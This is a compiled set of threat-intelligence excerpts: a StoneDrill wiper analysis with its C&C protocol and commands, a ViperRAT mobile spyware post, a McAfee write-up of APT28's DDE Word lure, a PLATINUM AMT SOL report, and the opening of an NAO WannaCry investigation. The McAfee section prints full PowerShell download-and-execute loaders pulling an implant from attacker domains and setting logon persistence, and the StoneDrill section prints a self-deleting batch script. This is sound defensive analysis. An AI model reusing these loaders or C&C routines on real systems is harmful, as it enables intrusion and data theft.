+Multiple attempts are made to connect to the hosts configured in the ux and uy fields (found in
+the sample configuration). The malware issues GET requests to
+ct_if/ctpublic/Check_Exist.php
+. The server answering with the 
+HANW-J6YS-P81J-KSD7
+string is selected as the current live server.
+C&C login
+The next connection is a login attempt with the following request:
+POST / HTTP/1.1
+Host: www.eservic.com
+User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Referer: http://www.eservic.com/
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 96
+username=MD5Sum(login)&password=MD5Sum(password)&button=Login
+2.7.4. Fourth step: Get commands list
+During the fourth step, the malware requests available commands from the C&C:
+/insert/index?id=%cid_from_config%%random_part_of_client_id%&hst=%base64encoded_computer_and_user_
+name_cpuid0_checksum%&ttype=102&sta
+te=201 HTTP/1.1
+Host: www.eservic.com
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Cookie: %string_received_in_login_step%
+Connection: close
+Here is a list of the StoneDrill commands available:
+Command Internal Help Strings
+Command Description
+1. OS (The is Response the Operating
+System of the Client Machine)
+Return details about Windows version, edition,
+architecture and environment
+version
+2. Version (The Response is Version of
+Running Product on the Client Machine)
+2.0.1610.76
+ string returned
+time
+3. Time (The Response is Current Time of
+the Client Machine)
+Current system and local time are returned
+shell
+4. Shell Value (Give You Access the CMD
+Console in the Client Machine; Value is
+Anything that You Want to Writing in the
+CMD Console of the Client Machine and
+Execute it)
+Stdout/stderr streams of executed 
+cmd.exe /C
+%value%
+ command are captured and send back
+to CC
+screenshot
+5. Screenshot (The Response is a JPEG File 1-At first the malware takes screenshot into
+of the Screenshot of the Client Machine
+randomly named .bmp file in %TEMP% folder.
+Desktop)
+2-Then takes second screenshot, now with jpeg
+compression and store it as .jpg file with random
+name. In case of success jpg creation bmp file is
+deleted.
+3-Send screenshot file to C&C and delete temporary
+files.
+delay
+6. Delay Value (Adjust the Time-Interval for
+the Server and Client Communication; Value
+can be Between 1000-100000; 1000 is HighEnd Speed)
+download
+7. Download "From" "To" (Download a File
+From "a URL" To "a Directory on the Client
+Machine")
+Downloaded file initially stored as
+%TEMP%\Test.tmp
+, then deXORed with 0xCC
+and copied to specified location with VBS script 
+CDled-C-Cpy-T.vbs
+ as previously described, file is
+then executed with command:
+"cmd /c WMIC Process Call
+Create
+C:\Windows\System32\Wscri
+pt.exe //NOLOGO
+upload
+8. Upload "From" (Upload a File From "a
+Directory on the Client Machine")
+update
+9. Update "From" (Download the New
+Version of the Product From "a URL" and
+Execute it on the Client Machine)
+Downloaded file initially stored with random name
+inside %TEMP% folder, then renamed by using CUptd-C-Cpy-T.vbs and C-Up-C-Dt-T.bat similar to
+previous steps
+uninstall
+10. Uninstall (Uninstall The Running Product
+from the Client Machine and Delete All SideEffects)
+Unregister autorun with command:
+cmd /c REG DELETE
+HKCU\SOFTWARE\Microsoft\
+Windows\CurrentVersion\Run
+/v Stp /f
+Then drop and run C-Un-C-Instl-T.bat with body:
+ping 1.1.1.1 -n 5 -w 2000 > nul
+RMDIR /S /Q "C:\ProgramData\Chrome\"
+RMDIR /S /Q "C:\ProgramData\InternetExplorer\"
+Del "%TEMP%\C-Un-C-Instl-T.bat"
+Then terminates itself.
+antivirus
+11. Antivirus (The Response is Installed
+Antivirus on the Client Machine)
+Queries Windows Management Instrumentation
+(WMI) database for installed
+AntiVirusProduct details. Runs additional registry
+lookups for details of: Avast, McAfee, Avg,
+BitDefender products.
+help
+12. Help (Response is the List of Supported
+Commands in the Current Version of Product
+that Running on the Client Machine)
+List title is "-Command List of the Current
+Vesrion are:"
+2.8. StoneDrill similarities with Shamoon
+Of course, one of the most important questions is the following: are StoneDrill and Shamoon
+connected? This is a difficult question to answer. However, by listing the similarities and
+differences between the two, anyone can come up with their own answer.
+Although we used a Yara built on Shamoon samples to find StoneDrill, there are several other
+similarities between the two:
+Both Shamoon and StoneDril appear to be targeting Saudi organizations.
+Samples have been compiled around the same time - October-November 2016.
+Similar to previous generations of Shamoon, StoneDrill uses encrypted PE resources to
+store the actual payload.
+The most important differences include:
+To avoid detection by emulators and sandboxing tools, the StoneDrill authors used far
+more advanced anti-emulation techniques than Shamoon.
+StoneDrill utilises VBS scripts to run self-delete scripts, while Shamoon didn
+t use any
+external scripts.
+A distinction from the Shamoon malware is that the strings encryption in StoneDrill is
+performed by alphabet table replacement.
+StoneDrill does not use drivers during deployment, but rather through memory injection
+into the victim
+s preferred browser.
+2.9. StoneDrill similarities with NewsBeef
+Our initial analysis of StoneDril revealed some similarities with a threat actor we
+ve seen before NewsBeef. While we call this the NewsBeef APT, this group has been reported in the past as
+Charming Kitten or Newscaster (in 2014).
+The similarities between NewsBeef and StoneDrill make us believe there is a very strong
+connection there. Below we list some of the similarities we observed:
+2.9.1. Winmain Signature
+In NewsBeef:
+B8 08 00 FE 7F FF 30 8F 44 24 20 68 B4 0F 00 00 FF 15 78 70 44 00 B8 08 00 FE 7F FF 30 8F 44 24 24 8B 4C
+24 24 2B 4C 24 20 B8 6B CA 5F 6B F7 E1 C1 EA 16 80 EA 02 88 15 95 71 45 00
+In StoneDrill:
+B8 08 00 FE 7F FF 30 8F 44 24 14 68 B4 0F 00 00 FF 15 4C B0 63 00 B8 08 00 FE 7F FF 30 8F 44 24 10 8B 44
+24 10 33 D2 2B 44 24 14 B9 80 96 98 00 F7 F1 2C 02 A2 61 D6 64 00
+2.9.2. The OS command
+In NewsBeef:
+In StoneDrill:
+In StoneDrill
+2.9.3. The Update command
+In NewsBeef:
+In StoneDrill:
+2.9.4. The Strings Decryption routine
+In NewsBeef:
+In StoneDrill:
+2.9.5. The Payload Winmain
+In NewsBeef:
+In StoneDrill:
+2.9.6. Command center name similarities
+Besides the technical code similarities listed above, we noticed that the naming scheme for the
+NewsBeef and StoneDrill C&Cs is quite similar. For instance:
+StoneDrill
+NewsBeef
+www.chromup[.]com
+www.chrome-up[.]date
+service1.chrome-up[.]date
+service.chrome-up[.]date
+www.eservic[.]com
+www.serveirc[.]com
+3. Conclusions
+Our discovery of StoneDrill gives another dimension to the existing wave of wiper attacks
+against Saudi organizations that started with Shamoon 2.0 in November 2016. Compared to the
+new Shamoon 2.0 variants, the most significant difference is the lack of a disk driver used for
+direct access during the destructive step. Nevertheless, one does not necessarily need raw disk
+access to perform destructive functions at file level, which the malware implements quite
+successfully.
+Of course, one of the most important questions here is the connection between Shamoon and
+StoneDrill. Both wipers appear to have been used against Saudi organizations during a similar
+timeframe of October-November 2016. Several theories are possible here:
+StoneDrill is a less-used wiper tool, deployed in certain situations by the same Shamoon
+group.
+StoneDrill and Shamoon are used by different groups which are aligned in their interests.
+StoneDrill and Shamoon are used by two different groups which have no connection to
+each other and just happen to target Saudi organizations at the same time.
+Taking all factors into account, our opinion is that the most likely theory is the second.
+Additionally, StoneDrill appears to be connected with previously reported NewsBeef activity,
+which continues to target Saudi organizations. From this point of view, NewsBeef and StoneDrill
+appear to be continuously focused on targeting Saudi interests, while Shamoon is a flashy,
+come-and-go high impact tool.
+In terms of attribution, while Shamoon embeds Arabic-Yemen resource language sections,
+StoneDrill embeds mostly Persian resource language sections. Geopolitical analysts would be
+quick to point out that Iran and Yemen are both players in the Iran-Saudi Arabia proxy conflict.
+Of course, we do not exclude the possibility of false flags.
+Finally, many unanswered question remain in regards to StoneDrill and NewsBeef. The
+discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its
+destructive attacks outside the Middle East. The target for the attack appears to be a large
+corporation with a wide area of activity in the petro-chemical sector, with no apparent
+connection or interest in Saudi Arabia.
+As usual, we will continue to monitor the Shamoon, StoneDrill and NewsBeef attacks. A
+presentation about StoneDrill will be given at the Kaspersky Security Analyst Summit
+Conference, on April 2-6, 2017.
+Kaspersky Lab products detect the Shamoon and StoneDrill samples as:
+Trojan.Win32.EraseMBR.a
+Trojan.Win32.Shamoon.a
+Trojan.Win64.Shamoon.a
+Trojan.Win64.Shamoon.b
+Backdoor.Win32.RemoteConnection.d
+Trojan.Win32.Inject.wmyv
+Trojan.Win32.Inject.wmyt
+HEUR:Trojan.Win32.Generic
+4. Appendices
+4.1. Indicators of Compromise
+4.1.1. Shamoon MD5s
+00c417425a73db5a315d23fac8cb353f
+271554cff73c3843b9282951f2ea7509
+2cd0a5f1e9bcce6807e57ec8477d222a
+33a63f09e0962313285c0f0fb654ae11
+38f3bed2635857dc385c5d569bbc88ac
+41f8cd9ac3fb6b1771177e5770537518
+5446f46d89124462ae7aca4fce420423
+548f6b23799f9265c01feefc6d86a5d3
+63443027d7b30ef0582778f1c11f36f3
+6a7bff614a1c2fd2901a5bd1d878be59
+6bebb161bc45080200a204f0a1d6fc08
+7772ce23c23f28596145656855fd02fc
+7946788b175e299415ad9059da03b1b2
+7edd88dd4511a7d5bcb91f2ff177d29d
+7f399a3362c4a33b5a58e94b8631a3d5
+8405aa3d86a22301ae62057d818b6b68
+8712cea8b5e3ce0073330fd425d34416
+8fbe990c2d493f58a2afa2b746e49c86
+940cee0d5985960b4ed265a859a7c169
+9d40d04d64f26a30da893b7a30da04eb
+aae531a922d9cca9ddca3d98be09f9df
+ac8636b6ad8f946e1d756cd4b1ed866d
+af053352fe1a02ba8010ec7524670ed9
+b4ddab362a20578dc6ca0bc8cc8ab986
+baa9862b027abd61b3e19941e40b1b2d
+c843046e54b755ec63ccb09d0a689674
+d30cfa003ebfcd4d7c659a73a8dce11e
+da3d900f8b090c705e8256e1193a18ec
+dc79867623b7929fd055d94456be8ba0
+ec010868e3e4c47239bf720738e058e3
+efab909e4d089b8f5a73e0b363f471c1
+4.1.2. StoneDrill MD5s
+ac3c25534c076623192b9381f926ba0d
+0ccc9ec82f1d44c243329014b82d3125
+8e67f4c98754a2373a49eaf53425d79a
+fb21f3cea1aa051ba2a45e75d46b98b8
+4.1.3. StoneDrill C2s
+www.eservic[.]com
+www.securityupdated[.]com
+www.actdire[.]com
+www.chromup[.]com
+www.chrome-up[.]date
+service1.chrome-up[.]date
+service.chrome-up[.]date
+www.serveirc[.]com
+ViperRAT: The mobile APT targeting the Israeli Defense Force
+that should be on your radar
+blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/
+February 16, 2017
+By Michael Flossman, Security Researcher
+ViperRAT is an active, advanced persistent threat (APT) that sophisticated threat actors are actively using to target
+and spy on the Israeli Defense Force.
+The threat actors behind the ViperRAT surveillanceware collect a significant amount of sensitive information off of
+the device, and seem most interested in exfiltrating images and audio content. The attackers are also hijacking the
+device camera to take pictures.
+Using data collected from the Lookout
+global sensor network, the Lookout
+research team was able to gain unique
+visibility into the ViperRAT malware,
+including 11 new, unreported
+applications. We also discovered and
+analyzed live, misconfigured malicious
+command and control servers (C2), from
+which we were able to identify how the attacker gets new, infected apps to secretly install and the types of activities
+they are monitoring. In addition, we uncovered the IMEIs of the targeted individuals (IMEIs will not be shared publicly
+for the privacy and safety of the victims) as well as the types of exfiltrated content.
+In aggregate, the type of information stolen could let an attacker know where a person is, with whom they
+are associated (including contacts
+ profile photos), the messages they are sending, the websites they visit
+and search history, screenshots that reveal data from other apps on the device, the conversations they
+have in the presence of the device, and a myriad of images including anything at which device
+s camera is
+pointed.
+Lookout has determined ViperRAT is a very sophisticated threat that adds to the mounting evidence that targeted
+mobile attacks against governments and business is a real problem.
+Lookout researchers have been tracking this threat for the last month. Given that this is an active threat, we
+ve been
+working behind-the-scenes with our customers to ensure both personal and enterprise customers are protected from
+this threat and only decided to come forward with this information after the research team at Kaspersky released a
+report earlier today.
+Additionally, we have determined that though original reports of this story attribute this surveillanceware tool to
+Hamas, this may not be the case, as we demonstrate below.
+The increasing sophistication of surveillanceware
+The structure of the surveillanceware indicates it is very sophisticated. Analysis indicates there are currently two
+distinct variants of ViperRAT. The first variant is a 
+first stage application,
+ that performs basic profiling of a device,
+and under certain conditions attempts to download and install a much more comprehensive surveillanceware
+component, which is the second variant.
+The first variant involves social engineering the target into downloading a trojanized app. Previous reports alleged
+this surveillanceware tool was deployed using 
+honey traps
+ where the actor behind it would reach out to targets via
+fake social media profiles of young women. After building an initial rapport with targets, the actors behind these
+social media accounts would instruct victims to install an additional app for easier communication. Specifically,
+Lookout determined these were trojanized versions of the apps SR Chat and YeeCall Pro. We also uncovered
+ViperRAT in a billiards game, an Israeli Love Songs player, and a Move To iOS app.
+The second stage
+The second stage apps contain the surveillanceware capabilities. Lookout uncovered nine secondary payload
+applications:
+* These apps have not been previously reported and were discovered using data from the Lookout global sensor
+network, which collects app and device information from over 100 million sensors to provide researchers and
+customers with a holistic look at the mobile threat ecosystem today.
+Naming additional payload applications as system updates is a clever technique used by malware authors to trick
+victims into believing a threat isn
+t present on their device. ViperRAT takes this one step further by using its dropper
+app to identify an appropriate second stage 
+update
+ that may go unnoticed. For example, if a victim has Viber on
+their device, it will choose to retrieve the Viber Update second stage. If he doesn
+t have Viber, the generically-named
+System Updates app gets downloaded and installed instead.
+What was taken
+The actors behind ViperRAT seem to be particularly interested in image data. We were able to identify that 8,929
+files had been exfiltrated from compromised devices and that the overwhelming majority of these, 97 percent, were
+highly likely encrypted images taken using the device camera. We also observed automatically generated files on
+the C2, indicating the actor behind this campaign also issues commands to search for and exfiltrate PDF and Office
+documents. This should be highly alarming to any government agency or enterprise.
+We observed legitimate exfiltrated files of the following types of data:
+Contact information
+Compressed recorded audio in the Adaptive Multi-Rate (amr) file format
+Images captured from the device camera
+Images stored on both internal device and SDCard storage that are listed in the MediaStore
+Device geolocation information
+SMS content
+Chrome browser search history and bookmarks
+Call log information
+Cell tower information
+Device network metadata; such as phone number, device software version, network country, network
+operator, SIM country, SIM operator, SIM serial, IMSI, voice mail number, phone type, network type, data
+state, data activity, call state, SIM state, whether device is roaming, and if SMS is supported.
+Standard browser search history
+Standard browser bookmarks
+Device handset metadata; such as brand, display, hardware, manufacturer, product, serial, radio version, and
+SDK.
+Command and control API calls
+ViperRAT samples are capable of communicating to C2 servers through an exposed API as well as websockets.
+Below is a collection of API methods and a brief description around their purpose.
+On attribution
+Media reporting on ViperRAT thus far attributes this surveillanceware tool to Hamas. Israeli media published the first
+reports about the social networking and social engineering aspects of this campaign. However it
+s unclear whether
+organizations that later reported on ViperRAT performed their own independent research or simply based their
+content on the original Israeli report. Hamas is not widely known for having a sophisticated mobile capability, which
+makes it unlikely they are directly responsible for ViperRAT.
+ViperRAT has been operational for quite some time, with what appears to be a test application that surfaced in late
+2015. Many of the default strings in this application are in Arabic, including the name. It is unclear whether this
+means early samples were targeting Arabic speakers or if the developers behind it are fluent in Arabic.
+This leads us to believe this is another actor.
+What this means for you
+All Lookout customers are protected from this threat. However, the existence of threats like ViperRAT and Pegasus,
+the most sophisticated piece of mobile surveillanceware we
+ve seen to date, are evidence that attackers are
+targeting mobile devices.
+Threat Group APT28 Slips Office Malware into Doc Citing NYC
+Terror Attack
+securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/
+By Ryan Sherstobitoff and Michael Rea
+November 7, 2017
+During our monitoring of activities around the APT28 threat group, McAfee Advanced Threat Research
+analysts identified a malicious Word document that appears to leverage the Microsoft Office Dynamic
+Data Exchange (DDE) technique that has been previously reported by Advanced Threat Research. This
+document likely marks the first observed use of this technique by APT28. The use of DDE with
+PowerShell allows an attacker to execute arbitrary code on a victim
+s system regardless whether macros
+are enabled. (McAfee product detection is covered in the Indicators of Compromise section at the end of
+the document.)
+APT28, also known as Fancy Bear, has recently focused on using different themes. In this case it
+capitalized on the recent terrorist attack in New York City. The document itself is blank. Once opened, the
+document contacts a control server to drop the first stage of the malware, Seduploader, onto a victim
+system.
+The domain involved in the distribution of Seduploader was created on October 19, 11 days prior to the
+creation of Seduploader.
+The document we examined for this post:
+Filename: IsisAttackInNewYork.docx
+Sha1: 1c6c700ceebfbe799e115582665105caa03c5c9e
+Creation date: 2017-10-27T22:23:00Z
+The document uses the recently detailed DDE technique found in Office products to invoke the command
+prompt to invoke PowerShell, which runs two commands. The first:
+C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
+-NoP -sta -NonI -W Hidden $e=(New-Object
+System.Net.WebClient).DownloadString(
+hxxp://netmediaresources[.]com/config.txt
+);powershell -enc $e
+#.EXE
+The second PowerShell command is Base64 encoded and is found in the version of config.txt received
+from the remote server. It decodes as follows:
+$W=New-Object System.Net.WebClient;
+$p=($Env:ALLUSERSPROFILE+
+\vms.dll
+[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
+$W.DownloadFile(
+hxxp://netmediaresources[.]com/media/resource/vms.dll 
+,$p);
+if (Test-Path $p){
+$rd_p=$Env:SYSTEMROOT+
+\System32\rundll32.exe
+$p_a=$p+
+$pr=Start-Process $rd_p -ArgumentList $p_a;
+$p_bat=($Env:ALLUSERSPROFILE+
+\vms.bat
+$text=
+set inst_pck = 
+%ALLUSERSPROFILE%\vms.dll
+`r`n
+if NOT exist %inst_pck %
+(exit)
+`r`n
+start rundll32.exe %inst_pck %,#1
+[io.File]::WriteAllText($p_bat,$text)
+New-Item -Path 
+HKCU:\Environment
+ -Force | Out-Null;
+New-ItemProperty -Path 
+HKCU:\Environment
+ -Name 
+UserInitMprLogonScript
+ -Value 
+$p_bat
+ PropertyType String -Force | Out-Null;
+The PowerShell scripts contact the following URL to download Seduploader:
+hxxp://netmediaresources[.]com/media/resource/vms.dll
+The Seduploader sample has the following artifacts:
+Filename: vms.dll
+Sha1: 4bc722a9b0492a50bd86a1341f02c74c0d773db7
+Compile date: 2017-10-31 20:11:10
+Control server: webviewres[.]net
+The document downloads a version of the Seduploader first-stage reconnaissance implant, which profiles
+prospective victims, pulling basic host information from the infected system to the attackers. If the system
+is of interest, then the installation of X-Agent or Sedreco usually follows.
+We have observed APT28 using Seduploader as a first-stage payload for several years from various
+public reporting. Based on structural code analysis of recent payloads observed in the campaign, we see
+they are identical to previous Seduploader samples employed by APT28.
+We identified the control server domain associated with this activity as webviewres[.]net, which is
+consistent with past APT28 domain registration techniques that spoof legitimate-sounding infrastructure.
+This domain was registered on October 25, a few days before the payload and malicious documents
+were created. The domain was first active on October 29, just days before this version of Seduploader
+was compiled. The IP currently resolves to 185.216.35.26 and is hosted on the name servers ns1.njal.la
+and ns2.njal.la.
+Further McAfee research identified the following related sample:
+Filename: secnt.dll
+Sha1: ab354807e687993fbeb1b325eb6e4ab38d428a1e
+Compile date: 2017-10-30 23:53:02
+Control server: satellitedeluxpanorama[.]com. (This domain uses the same name servers as
+above.)
+The preceding sample most likely belongs to the same campaign. Based on our analysis it uses the
+same techniques and payload. We can clearly establish that the campaign involving documents using
+DDE techniques began on October 25.
+The domain satellitedeluxpanorama[.]com, used by the implant secnt.dll, resolved to 89.34.111.160 as of
+November 5. The malicious document 68c2809560c7623d2307d8797691abf3eafe319a is responsible for
+dropping the Seduploader payload (secnt.dll). Its original file name was SaberGuardian2017.docx. This
+document was created on October 27. The document is distributed from
+hxxp://sendmevideo[.]org/SaberGuardian2017.docx. The document calls
+sendmevideo[.]org/dh2025e/eh.dll to download Seduploader
+(ab354807e687993fbeb1b325eb6e4ab38d428a1e).
+The PowerShell command embedded in this document:
+$W=New-Object System.Net.WebClient;
+$p=($Env:ALLUSERSPROFILE+
+\mvdrt.dll
+[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
+$W.DownloadFile(
+http://sendmevideo.org/dh2025e/eh.dll
+,$p);
+if (Test-Path $p){
+$rd_p=$Env:SYSTEMROOT+
+\System32\rundll32.exe
+$p_a=$p+
+$pr=Start-Process $rd_p -ArgumentList $p_a;
+$p_bat=($Env:ALLUSERSPROFILE+
+\mvdrt.bat
+$text=
+set inst_pck = 
+%ALLUSERSPROFILE%\mvdrt.dll
+`r`n
+if NOT exist %inst_pck %
+(exit)
+`r`n
+start rundll32.exe %inst_pck %,#1
+[io.File]::WriteAllText($p_bat,$text)
+New-Item -Path 
+HKCU:\Environment
+ -Force | Out-Null;
+New-ItemProperty -Path 
+HKCU:\Environment
+ -Name 
+UserInitMprLogonScript
+ -Value 
+$p_bat
+ PropertyType String -Force | Out-Null;
+The file vms.dll, 4bc722a9b0492a50bd86a1341f02c74c0d773db7, is 99% similar-to secnt.dll
+ab354807e687993fbeb1b325eb6e4ab38d428a1e, indicating the code is almost identical and highly likely
+to be part of the same campaign. These two DLL implants are likely part of the same campaign.
+Furthermore, the sample 4bc722a9b0492a50bd86a1341f02c74c0d773db7, based on our code analysis,
+is 99% similar to the DLL implant 8a68f26d01372114f660e32ac4c9117e5d0577f1, which was used in a
+campaign spoofing the upcoming cyber conference Cy Con U.S.
+The attack techniques in the two campaigns differ: The campaign spoofing the Cy Con U.S conference
+used document files to execute a malicious VBA script; this campaign using the terrorist theme uses DDE
+within a document file to execute PowerShell and fetches a remote payload from a distribution site. The
+payloads, however, are identical for both campaigns.
+Conclusion
+APT28 is a resourceful threat actor that not only capitalizes on recent events to trick potential victims into
+infections, but can also rapidly incorporate new exploitation techniques to increase its success. Given the
+publicity the Cy Con U.S campaign received in the press, it is possible APT28 actors moved away from
+using the VBA script employed in past actions and chose to incorporate the DDE technique to bypass
+network defenses. Finally, the use of recent domestic events and a prominent US military exercise
+focused on deterring Russian aggression highlight APT28
+s ability and interest in exploiting geopolitical
+events for their operations.
+Indicators of Compromise
+SHA1 Hashes
+ab354807e687993fbeb1b325eb6e4ab38d428a1e (vms.dll, Seduploader implant)
+4bc722a9b0492a50bd86a1341f02c74c0d773db7 (secnt.dll, Seduploader implant)
+1c6c700ceebfbe799e115582665105caa03c5c9e (IsisAttackInNewYork.docx)
+68c2809560c7623d2307d8797691abf3eafe319a (SaberGuardian.docx)
+Domains
+webviewres[.]net
+netmediaresources[.]com
+185.216.35.26
+89.34.111.160
+McAfee coverage
+McAfee products detect this threat as RDN/Generic Downloader.x.
+PLATINUM continues to evolve, find ways to maintain
+invisibility
+blogs.technet.microsoft.com /mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/
+msft-mmpc
+June 7,
+2017
+Back in April 2016, we released the paper PLATINUM: Targeted attacks in South and Southeast Asia , where we
+detailed the tactics, techniques, and procedures of the PLATINUM activity group.
+We described a group that was well-resourced and quickly adopted advanced techniques, such as hot patching to
+silently inject code into processes. They used hot patching even when traditional injection techniques could have
+been sufficient and less costly to develop.
+Since the 2016 publication, Microsoft has come across an evolution of PLATINUM
+s file-transfer tool, one that uses
+the Intel
+ Active Management Technology (AMT) Serial-over-LAN (SOL) channel for communication. This channel
+works independently of the operating system (OS), rendering any communication over it invisible to firewall and
+network monitoring applications running on the host device. Until this incident, no malware had been discovered
+misusing the AMT SOL feature for communication.
+Upon discovery of this unique file-transfer tool, Microsoft shared information with Intel, and the two companies
+collaborated to analyze and better understand the purpose and implementation of the tool. We confirmed that the
+tool did not expose vulnerabilities in the management technology itself, but rather misused AMT SOL within target
+networks that have already been compromised to keep communication stealthy and evade security applications.
+The updated tool has only been seen in a handful of victim computers within organizational networks in Southeast
+Asia
+PLATINUM is known to customize tools based on the network architecture of targeted organizations. The
+diagram below represents the file-transfer tool
+s updated channel and network flow.
+Figure 1. PLATINUM file-transfer tool network flow
+The AMT SOL feature is not enabled by default and requires administrator privileges to provision for usage on
+workstations. It is currently unknown if PLATINUM was able to provision workstations to use the feature or
+piggyback on a previously enabled workstation management feature. In either case, PLATINUM would need to have
+gained administrative privileges on targeted systems prior to the feature
+s misuse.
+AMT Serial-over-LAN (SOL) communication channel
+Active Management Technology (AMT) enables remote management of devices and is provided as a feature of
+Intel
+ vPro
+ processors and chipsets. AMT runs in the Intel Management Engine (ME), which runs its own
+operating system to execute on an embedded processor located in the chipset (Platform Controller Hub, PCH). As
+this embedded processor is separate from the primary Intel processor, it can execute even when the main processor
+is powered off and is therefore able to provide out-of-band (OOB) remote administration capabilities such as remote
+power-cycling and keyboard, video, and mouse control (KVM).
+AMT has a Serial-over-LAN (SOL) feature that exposes a virtual serial device with a chipset-provided channel over
+TCP.
+Figure 2. AMT SOL device
+This functionality works independently of the device host operating system networking stack
+the ME makes use of
+its own networking stack and has access to the hardware network interface. This means that even if networking is
+disabled on the host, SOL will still function as long as the device is physically connected to the network.
+Figure 3. AMT SOL component stack
+Furthermore, as the SOL traffic bypasses the host networking stack, it cannot be blocked by firewall applications
+running on the host device. To enable SOL functionality, the device AMT must be provisioned. Also, establishment of
+a SOL session requires a username and password
+usually selected during device provisioning. The tool would
+therefore require the relevant credentials to establish such a session.
+One possibility is that PLATINUM might have obtained compromised credentials from victim networks. Another
+possibility is that the targeted systems did not have AMT provisioned and PLATINUM, once they
+ve obtained
+administrative privileges on the system, proceeded to provision AMT.
+There are several methods for provisioning AMT. The most straightforward is host-based provisioning (HBP), which
+can be done from within the host Windows OS itself and requires administrator permissions. During the provisioning
+process, PLATINUM could select whichever username and password they wish. HBP enables access to a subset of
+AMT functionality, which includes SOL but restricts access to other features such as KVM redirect.
+How PLATINUM uses SOL
+In the first version of the file-transfer tool, which we described in the original paper, network communication is done
+over TCP/IP by utilizing the regular network APIs. The presentation layer protocol is straightforward: the buffer is
+made up of a two-byte header
+the indication length
+and the Blowfish-encrypted payload data itself.
+Figure 4. TCP protocol length header and payload
+The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK
+s Redirection
+Library API (imrsdk.dll). Data transactions are performed by the calls IMR_SOLSendText()/IMR_SOLReceiveText(),
+which are analogous to networking send() and recv() calls. The SOL protocol used is identical to the TCP protocol
+other than the addition of a variable-length header on the data for error detection. Also, the updated client sends an
+unencrypted packet with the content 
+ before authentication.
+Figure 5. AMT SOL protocol error-detection header, length header, and payload
+The new header has various fields to detect possible data corruption errors, including a CRC-16 and a binary index
+of the bytes having the set of most significant bits (MSB).
+Figure 6. Construction of error-detection header
+The following video demonstrates how the PLATINUM tool can be used to transfer malware to a computer with AMT
+provisioned:
+Detecting unusual binaries that use AMT
+If an attacker who has access to AMT credentials attempts to use the SOL communication channel on a computer
+running Windows Defender ATP , behavior analytics coupled with machine learning can detect the targeted attack
+activity. Windows Defender ATP displays an alert similar to the one shown below. Windows Defender ATP can
+differentiate between legitimate usage of AMT SOL and targeted attacks attempting to use it as a communication
+channel.
+Figure 7. Windows Defender ATP detection of malicious AMT SOL channel activity
+The PLATINUM tool is, to our knowledge, the first malware sample observed to misuse chipset features in this way.
+While the technique used here by PLATINUM is OS independent, Windows Defender ATP can detect and notify
+network administrators of attempts to leverage the AMT SOL communication channel for unauthorized activity,
+specifically when used against a computer running Windows.
+At Microsoft, we continuously monitor the threat landscape for novel techniques used for malicious purposes. We
+also constantly build mechanisms that mitigate resulting risks and protect customers. The discovery of this new
+PLATINUM technique and the development of detection capabilities highlight the work the Windows Defender ATP
+team does to provide customers greater visibility into suspicious activities transpiring on their networks.
+Microsoft reiterates that the PLATINUM tool does not expose flaws in Intel
+ Active Management Technology (AMT),
+but uses the technology within an already compromised network to evade security monitoring tools.
+David Kaplan, Stefan Sellmer, and Andrea Lelli
+Windows Defender ATP Research Team
+A picture of the National Audit Office logo
+Report
+by the Comptroller
+and Auditor General
+Department of Health
+Investigation: WannaCry
+cyber attack and the NHS
+HC 414 SESSION 2017
+2019
+27 OCTOBER 2017
+Our vision is to help the nation spend wisely.
+Our public audit perspective helps Parliament hold
+government to account and improve public services.
+The National Audit Office scrutinises public spending for Parliament and is independent
+of government. The Comptroller and Auditor General (C&AG), Sir Amyas Morse KCB,
+is an Officer of the House of Commons and leads the NAO. The C&AG certifies the
+accounts of all government departments and many other public sector bodies. He has
+statutory authority to examine and report to Parliament on whether departments and
+the bodies they fund have used their resources efficiently, effectively, and with economy.
+Our studies evaluate the value for money of public spending, nationally and locally.
+Our recommendations and reports on good practice help government improve public
+services, and our work led to audited savings of 
+734 million in 2016.
+Department of Health
+Investigation: WannaCry
+cyber attack and the NHS
+Report by the Comptroller and Auditor General
+Ordered by the House of Commons
+to be printed on 25 October 2017
+This report has been prepared under Section 6 of the
+National Audit Act 1983 for presentation to the House of
+Commons in accordance with Section 9 of the Act
+Sir Amyas Morse KCB
+Comptroller and Auditor General
+National Audit Office
+24 October 2017
+HC 414 | 
+10.00
+This report investigates the NHS
+s response to the
+cyber attack that affected it in May 2017 and the
+impact on health services.
+Investigations
+We conduct investigations to establish the underlying facts in circumstances
+where concerns have been raised with us, or in response to intelligence that
+we have gathered through our wider work.
+ National Audit Office 2017
+The material featured in this document is subject to
+National Audit Office (NAO) copyright. The material
+may be copied or reproduced for non-commercial
+purposes only, namely reproduction for research,
+private study or for limited internal circulation within
+an organisation for the purpose of review.
+Copying for non-commercial purposes is subject
+to the material being accompanied by a sufficient
+acknowledgement, reproduced accurately, and not
+being used in a misleading context. To reproduce
+NAO copyright material for any other use, you must
+contact copyright@nao.gsi.gov.uk. Please tell us who
+you are, the organisation you represent (if any) and
+how and why you wish to use our material. Please
+include your full contact details: name, address,
+telephone number and email.
+Please note that the material featured in this
+document may not be reproduced for commercial
+gain without the NAO
+s express and direct
+permission and that the NAO reserves its right to
+pursue copyright infringement proceedings against
+individuals or companies who reproduce material for
+commercial gain without our permission.
+Links to external websites were valid at the time of
+publication of this report. The National Audit Office
+is not responsible for the future validity of the links.
+11594
+10/17
+Contents
+What this investigation is about 4
+Summary 5
+Part One
+The impact of the cyber attack 11
+Part Two
+Why some parts of
+the NHS were affected 16
+Part Three
+How the Department and
+the NHS responded 21
+Appendix One
+Our investigative approach 28
+Appendix Two
+Trusts infected or disrupted
+by WannaCry 30
+The National Audit Office study team
+consisted of:
